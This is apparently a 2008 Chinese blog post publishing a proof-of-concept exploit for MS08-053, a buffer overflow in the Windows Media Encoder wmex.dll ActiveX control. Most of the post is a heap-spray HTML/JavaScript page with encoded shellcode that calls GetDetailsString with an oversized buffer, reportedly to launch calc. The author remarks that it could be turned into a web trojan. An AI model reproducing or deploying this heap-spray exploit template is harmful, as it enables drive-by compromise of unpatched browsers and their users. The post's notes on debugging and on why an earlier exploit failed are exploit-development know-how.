MS08-053 Poc

关于微软的MS08-053漏洞的利用程序公布..可以远程溢出。SO..可以用来制作网页木马...
--------------------------------------------------------------------------------------------------------
今天在milw0rm上发现了很多WINDOWS GDI方面的exp,然后想起很久前的MS08-053(其实才两周前的洞,但是过时是一定的啦)...
­
现在把MS08-053漏洞的POC公布出来,嘿嘿..很不厚道的样子....
怎么说也算半个Oday撒,哈哈哈哈......
­
­
先引用一段:
=============================================================================
MS08-053 Windows Media Encoder wmex.dll ActiveX Control Buffer Overflow  
=============================================================================
­
Calc execution POC Exploit for WinXP SP2 PRO English / IE6.0 SP2
­
Found by   : Nguyen Minh Duc and Le Manh Tung
Advisory   : http://www.microsoft.com/technet/security/Bulletin/MS08-053.mspx
­
Exploit by : haluznik | haluznik<at>gmail.com
­
09.10.2008
=============================================================================
这是haluznik 9月10日提交到milw0rm的poc,我拿来测试了下,发现不能用...原因下面会提到...
Windows Media Encoder wmex.dll ActiveX Control Buffer Overflow  
Windows Media Encoder 默认情况下是不安装的,我专门用win-xp sp2 + IE6.0测试过这个洞..
所以它的利用范围相当之小,而且利用也是相当的简单,没什么特别的地方..
最近大家都去关注GDI的洞了,所以很少注意这个,我就拿来爽了下..
想尝试的可以去华军下载一个以前的未打补丁版本,用COM EXPLORER可是看到关于这个程序的wmex.dll的一些信息,包括clsid等等(可以使用注册表确定一下是哪个类)
然后使用VS08对象浏览器观察下,可以看到上面出现buffer OVERFLOW的函数GetDetailsString(buffer,1)。
这个poc是我一周前测试通过的了,现在没事做公布出来,一些细节,包括截图就省了....自己可以参照下普通的activeX漏洞利用..
­
先说下haluznik的方法:
haluznik大致是精确定位下溢出点,然后使用jmp小跳到shellcode处执行代码..
但是在我机器上很自然的就IE崩溃了,用OD载入测试发现定位的溢出点明显有出入,但是位置差别不大...但是我自己定位的溢出点还是有一些问题..于是放弃了这个方法,这个方法在普通的stack overflow中还是蛮经典的..
­
但是,正常情况下activeX的漏洞使用heap spray更简单明了些,下面就是我用heap spray实现的poc:
­
Code
<html>
<pre>
<input language=Javascript onclick=poc() type=button value="launch exploit">
<object id="target" classid="clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C"></object>
<script language="javascript">
function poc()
{
var shellcode
= unescape(
"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949" +
"%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41" +
"%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875" +
"%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b" +
"%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e" +
"%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a" +
"%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b" +
"%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b" +
"%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450" +
"%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770" +
"%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650" +
"%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a" +
"%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163" +
"%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c" +
"%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370");

var bigblock
= unescape("%u9090%u9090");
var headersize
= 20;
var slackspace
= headersize + shellcode.length;
­
while(bigblock.length<slackspace) bigblock += bigblock;
block
= bigblock.substring(0,bigblock.length-slackspace);
fillblock
= bigblock.substring(0,slackspace);
while(block.length+slackspace < 0x40000) block = block +block +fillblock;
memory
= new Array();
for(x=0;x<300;x++) memory[x] = block + shellcode;
­
//var buffer = unescape("%u0505%u0505");
var buffer ="";
while(buffer.length<4096) buffer += unescape("/x05/x05/x05/x05");

target.GetDetailsString(buffer,
1)
}
</script>
</pre>
</html>
­
其中,shellcode还是国际惯例,执行calc,貌似poc的写法也很国际惯例了,呵呵...
反正没什么技术含量的洞...
实在无聊的可以拿去作网页木马,估计成功的概率也蛮小的....
我很不熟悉这种unicode的方式,shellcode也很郁闷了....
­
哦,它还有点小bug,会出现用OD载入shellcode执行到某句push处卡壳..我也没管它,反正没人用弹出calc的shellcode当木马.....
­
­
                            ----------by  NewSketcher
                                Time:   08.10.03  22:28
posted @ 2008-10-04 13:28  端木  阅读(731)  评论(0编辑  收藏  举报